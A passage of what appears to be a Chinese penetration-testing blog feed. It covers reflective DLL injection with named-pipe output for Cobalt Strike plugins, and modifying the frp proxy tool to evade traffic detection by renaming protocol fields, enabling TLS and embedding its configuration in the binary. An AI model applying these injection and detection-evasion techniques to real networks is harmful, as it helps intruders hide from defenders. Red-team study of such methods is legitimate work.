class="line"><span class="built_in">printf</span>(<span class="string">"[+] Wrote parameter in remote process %d memory.\n"</span>, dwProcessId);</span><br><span class="line"></span><br><span class="line"><span class="comment">//将参数指针传入</span></span><br><span class="line">hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpRemoteMem);</span><br><span class="line"><span class="keyword">if</span>( !hModule )</span><br><span class="line">BREAK_WITH_ERROR( <span class="string">"Failed to inject the DLL"</span> );</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>( <span class="string">"[+] Injected the '%s' DLL into process %d.\n"</span>, cpDllFile, dwProcessId);</span><br></pre></td></tr></table></figure><p>因为这里是注入到了其他进程里，所以当前进程是没有输出的。如果需要输出的话，可以修改DLL文件和Inject.c，即当前进程和DLL注入的进程之间用命名管道进行通信。这里以C++写的DLL为例。</p><h5><span id="injectc">inject.c</span></h5><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//接收</span></span><br><span class="line"></span><br><span class="line">srand(time(<span class="literal">NULL</span>));</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">256</span>] = <span class="string">""</span>;</span><br><span class="line">DWORD rlen = <span class="number">0</span>;</span><br><span class="line">HANDLE hPipe = CreateNamedPipe(</span><br><span class="line">TEXT(<span class="string">"\\\\.\\Pipe\\mypipe"</span>),<span class="comment">//管道名</span></span><br><span class="line">PIPE_ACCESS_DUPLEX,<span class="comment">//管道类型 </span></span><br><span class="line">PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,<span class="comment">//管道参数</span></span><br><span class="line">PIPE_UNLIMITED_INSTANCES,<span class="comment">//管道能创建的最大实例数量</span></span><br><span class="line"><span class="number">0</span>,<span class="comment">//输出缓冲区长度 0表示默认</span></span><br><span class="line"><span class="number">0</span>,<span class="comment">//输入缓冲区长度 0表示默认</span></span><br><span class="line">NMPWAIT_WAIT_FOREVER,<span class="comment">//超时时间</span></span><br><span class="line"><span class="literal">NULL</span>);<span class="comment">//指定一个SECURITY_ATTRIBUTES结构,或者传递零值.</span></span><br><span class="line"><span class="keyword">if</span> (INVALID_HANDLE_VALUE == hPipe)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Create Pipe Error(%d)\n"</span>, GetLastError());</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Create Pipe Success\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Waiting For Client Connection...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (ConnectNamedPipe(hPipe, <span class="literal">NULL</span>) == <span class="literal">NULL</span>)<span class="comment">//阻塞等待客户端连接。</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Connection failed!\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Connection Success!\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Data From Pipe :\n\n"</span>);</span><br><span class="line"><span class="keyword">while</span> (<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (ReadFile(hPipe, buf, <span class="number">256</span>, &amp;rlen, <span class="literal">NULL</span>)) <span class="comment">//接受客户端发送过来的内容</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\t%s"</span>, buf);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\n[+] Read Data From Pipe End!\n"</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">CloseHandle(hPipe);<span class="comment">//关闭管道</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5><span id="reflectivedllcpp">ReflectiveDll.cpp</span></h5><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//利用命名管道传输</span></span><br><span class="line">srand(time(<span class="literal">NULL</span>));</span><br><span class="line">DWORD wlen = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">BOOL bRet = WaitNamedPipe(TEXT(<span class="string">"\\\\.\\Pipe\\mypipe"</span>), NMPWAIT_WAIT_FOREVER);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!bRet)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"connect the namedPipe failed!\n"</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hPipe = CreateFile(<span class="comment">//管道属于一种特殊的文件</span></span><br><span class="line">TEXT(<span class="string">"\\\\.\\Pipe\\mypipe"</span>),<span class="comment">//创建的文件名</span></span><br><span class="line">GENERIC_READ | GENERIC_WRITE,<span class="comment">//文件模式</span></span><br><span class="line"><span class="number">0</span>,<span class="comment">//是否共享</span></span><br><span class="line"><span class="literal">NULL</span>,<span class="comment">//指向一个SECURITY_ATTRIBUTES结构的指针</span></span><br><span class="line">OPEN_EXISTING,<span class="comment">//创建参数</span></span><br><span class="line">FILE_ATTRIBUTE_NORMAL,<span class="comment">//文件属性(隐藏,只读)NORMAL为默认属性</span></span><br><span class="line"><span class="literal">NULL</span>);<span class="comment">//模板创建文件的句柄</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">hAppInstance = hinstDLL;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">256</span>] = <span class="string">""</span>;</span><br><span class="line"><span class="built_in">sprintf</span>(buf, <span class="string">"C++ ReflectiveDLL\n"</span>);</span><br><span class="line">WriteFile(hPipe, buf, <span class="keyword">sizeof</span>(buf), &amp;wlen, <span class="number">0</span>);<span class="comment">//向服务器发送内容</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* print some output to the operator */</span></span><br><span class="line"><span class="keyword">if</span> (lpReserved != <span class="literal">NULL</span>) &#123;</span><br><span class="line">szargs = (PCHAR)lpReserved;</span><br><span class="line">wszargs = StringToWString(szargs);</span><br><span class="line">argv = CommandLineToArgvW(wszargs.data(), &amp;argc);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123;</span><br><span class="line"><span class="built_in">sprintf</span>(buf, <span class="string">"Hello from test.dll. There is no parameter\n"</span>);</span><br><span class="line">WriteFile(hPipe, buf, <span class="keyword">sizeof</span>(buf), &amp;wlen, <span class="number">0</span>);<span class="comment">//向服务器发送内容</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (argv == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">sprintf</span>(buf, <span class="string">"[+] Error Arguments ! \n"</span>);</span><br><span class="line">WriteFile(hPipe, buf, <span class="keyword">sizeof</span>(buf), &amp;wlen, <span class="number">0</span>);<span class="comment">//向服务器发送内容</span></span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">sprintf</span>(buf, <span class="string">"[+] Args Count : %d \n"</span>, argc);</span><br><span class="line">WriteFile(hPipe, buf, <span class="keyword">sizeof</span>(buf), &amp;wlen, <span class="number">0</span>);<span class="comment">//向服务器发送内容</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">size_t</span> i = <span class="number">0</span>; i &lt; argc; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">sprintf</span>(buf, <span class="string">"[%d] %s \n"</span>, i, argv[i]);</span><br><span class="line">WriteFile(hPipe, buf, <span class="keyword">sizeof</span>(buf), &amp;wlen, <span class="number">0</span>);<span class="comment">//向服务器发送内容</span></span><br><span class="line">&#125;</span><br><span class="line">CloseHandle(hPipe);<span class="comment">//关闭管道</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* flush STDOUT */</span></span><br><span class="line">fflush(<span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* we're done, so let's exit */</span></span><br><span class="line">ExitProcess(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><p>这样就可以实现读取注入目标进程的输出了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20200708152800733.png" alt="image-20200708152800733"></p><h3><span id="示例代码">示例代码</span></h3><p><a href="https://github.com/uknowsec/ReflectiveDLLInjection-Notes" target="_blank" rel="noopener">https://github.com/uknowsec/ReflectiveDLLInjection-Notes</a></p><h3><span id="结语">结语</span></h3><p>在<code>WBGlIl</code>师傅的帮助下，学习了ReflectiveDLL。本意是想用于Cobalt Strike插件的开发，但是Golang编译后的文件过大，导致Cobalt Strike并不能进行加载反射。有请教过别的师傅如何解决这个问题，方案好像都必须得落地待反射的Golang DLL，效果并不是太好。同时在最近新发布的Cobalt Strike4.1中有了一个新功能Beacon Object File (BOF)，他可以解决文件过大的问题。</p><p>在官方文档<a href="https://www.cobaltstrike.com/help-beacon-object-files" target="_blank" rel="noopener">help-beacon-object-files</a>有如下的一段话：</p><blockquote><p>BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may weigh in at 100KB+. The same exploit, built as a BOF, is &lt;3KB. This can make a big difference when using bandwidth constrained channels, such as DNS.</p></blockquote><p>所以现在就差一个Cobalt Strike4.1啦~</p><h3><span id="references">References</span></h3><p><code>[1]</code> bdllspawn: <em><a href="https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn" target="_blank" rel="noopener">https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn</a></em><br><code>[2]</code> ReflectiveDLLInjection: <em><a href="https://github.com/stephenfewer/ReflectiveDLLInjection" target="_blank" rel="noopener">https://github.com/stephenfewer/ReflectiveDLLInjection</a></em><br><code>[3]</code> 倾旋: <em><a href="https://payloads.online/archivers/2020-03-02/1" target="_blank" rel="noopener">https://payloads.online/archivers/2020-03-02/1</a></em><br><code>[4]</code> WBGlIl: <em><a href="https://wbglil.github.io/" target="_blank" rel="noopener">https://wbglil.github.io/</a></em><br><code>[5]</code> go-ReflectiveDLL: <em><a href="https://github.com/WBGlIl/go-ReflectiveDLL" target="_blank" rel="noopener">https://github.com/WBGlIl/go-ReflectiveDLL</a></em><br><code>[6]</code> Weaponizing your favorite Go program for Cobalt Strike: <em><a href="https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/" target="_blank" rel="noopener">https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/</a></em><br><code>[7]</code> help-beacon-object-files: <em><a href="https://www.cobaltstrike.com/help-beacon-object-files" target="_blank" rel="noopener">https://www.cobaltstrike.com/help-beacon-object-files</a></em></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;Cobalt Strike已经成了目前工作中经常用渗透工具了，通常我们会通过写一下插件来武装自己的Cobalt Strike，比如我们会用&lt;code&gt;bexecute_assembly&lt;/code&gt;来对自己编写
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>FRP改造计划</title>
    <link href="https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html"/>
    <id>https://uknowsec.cn/posts/notes/FRP改造计划.html</id>
    <published>2020-06-20T19:17:17.000Z</published>
    <updated>2020-06-21T04:04:47.268Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>frp无疑是众多代理工具中，用得最舒服的了。但是他还是存在几个缺点的。</p><ul><li>.ini配置文件泄露服务器信息。</li><li><p>非TLS特征明显</p></li><li><p>golang编译打包后的体积过大</p></li></ul><p>一直想改来着，但是一直拖着。前两天看到了吐司大佬发的frp讨论帖，于是下定决心改一下。</p><p>这里主要是对上面提到的前两个缺点进行改造，体积过大问题需要去整体的修改，减少他用到的一些依赖库和无用功能。</p><h3><span id="流量特征非tls">流量特征(非TLS)</span></h3><p>在没有配置<code>tls_enable = true</code></p><p>frpc在连接认证frps的时候回把frp的版本信息等等发给frps进行认证。</p><p>目前一些流量设备就通过这个特征来识别frp代理。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1592656026044.png" alt="1592656026044"></p><p>如上图，可以看到有如下几个字段值：<code>version,hostname,arch,user,privilege_key,runid,metas</code></p><h3><span id="去除特征">去除特征</span></h3><p>去除的方法也很简单，只要把这些特征值修改一下就行了。</p><p><a href="https://github.com/fatedier/frp" target="_blank" rel="noopener">https://github.com/fatedier/frp</a></p><p>首先把frp的源码从github上下下来。</p><p>定位到认证信息的代码位置为：<code>models/msg/msg.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Login <span class="keyword">struct</span> &#123;</span><br><span class="line">Version      <span class="keyword">string</span>            <span class="string">`json:"version"`</span></span><br><span class="line">Hostname     <span class="keyword">string</span>            <span class="string">`json:"hostname"`</span></span><br><span class="line">Os           <span class="keyword">string</span>            <span class="string">`json:"os"`</span></span><br><span class="line">Arch         <span class="keyword">string</span>            <span class="string">`json:"arch"`</span></span><br><span class="line">User         <span class="keyword">string</span>            <span class="string">`json:"user"`</span></span><br><span class="line">PrivilegeKey <span class="keyword">string</span>            <span class="string">`json:"privilege_key"`</span></span><br><span class="line">Timestamp    <span class="keyword">int64</span>             <span class="string">`json:"timestamp"`</span></span><br><span class="line">RunId        <span class="keyword">string</span>            <span class="string">`json:"run_id"`</span></span><br><span class="line">Metas        <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">string</span> <span class="string">`json:"metas"`</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Some global configures.</span></span><br><span class="line">PoolCount <span class="keyword">int</span> <span class="string">`json:"pool_count"`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> LoginResp <span class="keyword">struct</span> &#123;</span><br><span class="line">Version       <span class="keyword">string</span> <span class="string">`json:"version"`</span></span><br><span class="line">RunId         <span class="keyword">string</span> <span class="string">`json:"run_id"`</span></span><br><span class="line">ServerUdpPort <span class="keyword">int</span>    <span class="string">`json:"server_udp_port"`</span></span><br><span class="line">Error         <span class="keyword">string</span> <span class="string">`json:"error"`</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上图，这里可以看到定义的结构里有认证时候用到的变量，和认证回显的变量。我们可以修改此处来去除特征。</p><p>如<code>`json:&quot;version&quot;</code>修改为<code>json:&quot;a&quot;</code>来逃避流量识别。</p><p>同时在这个go文件里还有其他的结构体。可以用同样的方法进行修改。</p><p>也可以修改字段的值，比如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Version      string            `json:&quot;version&quot;`</span><br></pre></td></tr></table></figure><p><code>version</code>这个变量的值。在Goland里跟进到这个变量被利用到的文件<code>client/service.go</code>。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">loginMsg := &amp;msg.Login&#123;</span><br><span class="line">Arch:      runtime.GOARCH,</span><br><span class="line">Os:        runtime.GOOS,</span><br><span class="line">PoolCount: svr.cfg.PoolCount,</span><br><span class="line">User:      svr.cfg.User,</span><br><span class="line">Version:   version.Full(),</span><br><span class="line">Timestamp: time.Now().Unix(),</span><br><span class="line">RunId:     svr.runId,</span><br><span class="line">Metas:     svr.cfg.Metas,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>再跟进<code>version.Full()</code>方法到<code>utils\version\version.go</code></p><p>我们可以修改<code>version</code>变量的值即可，这个变量是frp的版本号。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> version <span class="keyword">string</span> = <span class="string">"0.33.0"</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Full</span><span class="params">()</span> <span class="title">string</span></span> &#123;</span><br><span class="line"><span class="keyword">return</span> version</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>另外变量值的修改可以通过同样的方法修改。</p><h3><span id="frp优化">frp优化</span></h3><p>最近在吐司看到有师傅发了frp的讨论帖子，其中说到几个点挺好的。这里简单的记录一下。</p><h4><span id="通过tls和算法加密frp流量">通过tls和算法加密frp流量</span></h4><h5><span id="加密与压缩">加密与压缩</span></h5><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># frpc.ini</span><br><span class="line">[ssh]</span><br><span class="line">type = tcp</span><br><span class="line">local_port = 22</span><br><span class="line">remote_port = 6000</span><br><span class="line">use_encryption = true</span><br><span class="line">use_compression = true</span><br></pre></td></tr></table></figure><p>如果公司内网防火墙对外网访问进行了流量识别与屏蔽，例如禁止了 ssh 协议等，通过设置 use_encryption = true，将 frpc 与 frps 之间的通信内容加密传输，将会有效防止流量被拦截。</p><p>如果传输的报文长度较长，通过设置 use_compression = true 对传输内容进行压缩，可以有效减小 frpc 与 frps 之间的网络流量，加快流量转发速度，但是会额外消耗一些 cpu 资源。</p><h5><span id="tls">TLS</span></h5><p>从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tls_enable = true 来启用此功能，安全性更高。<br>为了端口复用，frp 建立 TLS 连接的第一个字节为 0x17。<br>通过将 frps.ini 的 [common] 中 tls_only 设置为 true，可以强制 frps 只接受 TLS 连接。</p><p><strong>注意: 启用此功能后除 xtcp 外，不需要再设置 use_encryption。</strong></p><h4><span id="frpcini写入源码">frpc.ini写入源码</span></h4><p>修改文件<code>cmd\frpc\sub\root.go</code>里的代码</p><p>把frpc.ini配置内容写到上面定义里。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr=1.1.1.1</span><br><span class="line">server_port=2333</span><br><span class="line">privilege_token = pentest</span><br><span class="line">tls_enable = true</span><br><span class="line">[http_proxy]</span><br><span class="line">type = tcp</span><br><span class="line">remote_port = 23333</span><br><span class="line">plugin = socks5</span><br></pre></td></tr></table></figure><p>结果如下：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> (</span><br><span class="line">cfgFile     <span class="keyword">string</span></span><br><span class="line">showVersion <span class="keyword">bool</span></span><br><span class="line">fileContent <span class="keyword">string</span> = <span class="string">`[common]</span></span><br><span class="line"><span class="string">    server_addr = 1.1.1.1</span></span><br><span class="line"><span class="string">    server_port = 2333</span></span><br><span class="line"><span class="string">    privilege_token = pentest</span></span><br><span class="line"><span class="string">    tls_enable = true</span></span><br><span class="line"><span class="string">    [http_proxy]</span></span><br><span class="line"><span class="string">    type = tcp</span></span><br><span class="line"><span class="string">    remote_port = 23333</span></span><br><span class="line"><span class="string">    plugin = socks5</span></span><br><span class="line"><span class="string">`</span></span><br><span class="line">serverAddr      <span class="keyword">string</span></span><br><span class="line">user            <span class="keyword">string</span></span><br><span class="line">protocol        <span class="keyword">string</span></span><br><span class="line">token           <span class="keyword">string</span></span><br><span class="line">logLevel        <span class="keyword">string</span></span><br><span class="line">logFile         <span class="keyword">string</span></span><br><span class="line">logMaxDays      <span class="keyword">int</span></span><br><span class="line">disableLogColor <span class="keyword">bool</span></span><br><span class="line"></span><br><span class="line">proxyName         <span class="keyword">string</span></span><br><span class="line">localIp           <span class="keyword">string</span></span><br><span class="line">localPort         <span class="keyword">int</span></span><br><span class="line">remotePort        <span class="keyword">int</span></span><br><span class="line">useEncryption     <span class="keyword">bool</span></span><br><span class="line">useCompression    <span class="keyword">bool</span></span><br><span class="line">customDomains     <span class="keyword">string</span></span><br><span class="line">subDomain         <span class="keyword">string</span></span><br><span class="line">httpUser          <span class="keyword">string</span></span><br><span class="line">httpPwd           <span class="keyword">string</span></span><br><span class="line">locations         <span class="keyword">string</span></span><br><span class="line">hostHeaderRewrite <span class="keyword">string</span></span><br><span class="line">role              <span class="keyword">string</span></span><br><span class="line">sk                <span class="keyword">string</span></span><br><span class="line">multiplexer       <span class="keyword">string</span></span><br><span class="line">serverName        <span class="keyword">string</span></span><br><span class="line">bindAddr          <span class="keyword">string</span></span><br><span class="line">bindPort          <span class="keyword">int</span></span><br><span class="line"></span><br><span class="line">kcpDoneCh <span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125;</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>修改代码：<code>cmd/frpc/sub/status.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> statusCmd = &amp;cobra.Command&#123;</span><br><span class="line">Use:   <span class="string">"status"</span>,</span><br><span class="line">Short: <span class="string">"Overview of all proxies status"</span>,</span><br><span class="line">RunE: <span class="function"><span class="keyword">func</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span> <span class="title">error</span></span> &#123;</span><br><span class="line"><span class="comment">//iniContent, err := config.GetRenderedConfFromFile(cfgFile)</span></span><br><span class="line">iniContent:= fileContent</span><br><span class="line"><span class="comment">/*if err != nil &#123;</span></span><br><span class="line"><span class="comment">fmt.Println(err)</span></span><br><span class="line"><span class="comment">os.Exit(1)</span></span><br><span class="line"><span class="comment">&#125;*/</span></span><br><span class="line"></span><br><span class="line">clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, iniContent)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Println(err)</span><br><span class="line">os.Exit(<span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err = status(clientCfg)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"frpc get status error: %v\n"</span>, err)</span><br><span class="line">os.Exit(<span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改代码：<code>cmd/frpc/sub/reload.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reloadCmd = &amp;cobra.Command&#123;</span><br><span class="line">Use:   <span class="string">"reload"</span>,</span><br><span class="line">Short: <span class="string">"Hot-Reload frpc configuration"</span>,</span><br><span class="line">RunE: <span class="function"><span class="keyword">func</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span> <span class="title">error</span></span> &#123;</span><br><span class="line"><span class="comment">//iniContent, err := config.GetRenderedConfFromFile(cfgFile)</span></span><br><span class="line">iniContent:=  fileContent</span><br><span class="line">   </span><br><span class="line"><span class="comment">/*if err != 0 &#123;</span></span><br><span class="line"><span class="comment">fmt.Println(err)</span></span><br><span class="line"><span class="comment">os.Exit(1)</span></span><br><span class="line"><span class="comment">&#125;*/</span></span><br><span class="line"></span><br><span class="line">clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, iniContent)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Println(err)</span><br><span class="line">os.Exit(<span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err = reload(clientCfg)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"frpc reload error: %v\n"</span>, err)</span><br><span class="line">os.Exit(<span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line">fmt.Printf(<span class="string">"reload success\n"</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改代码：<code>cmd/frpc/sub/root.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span 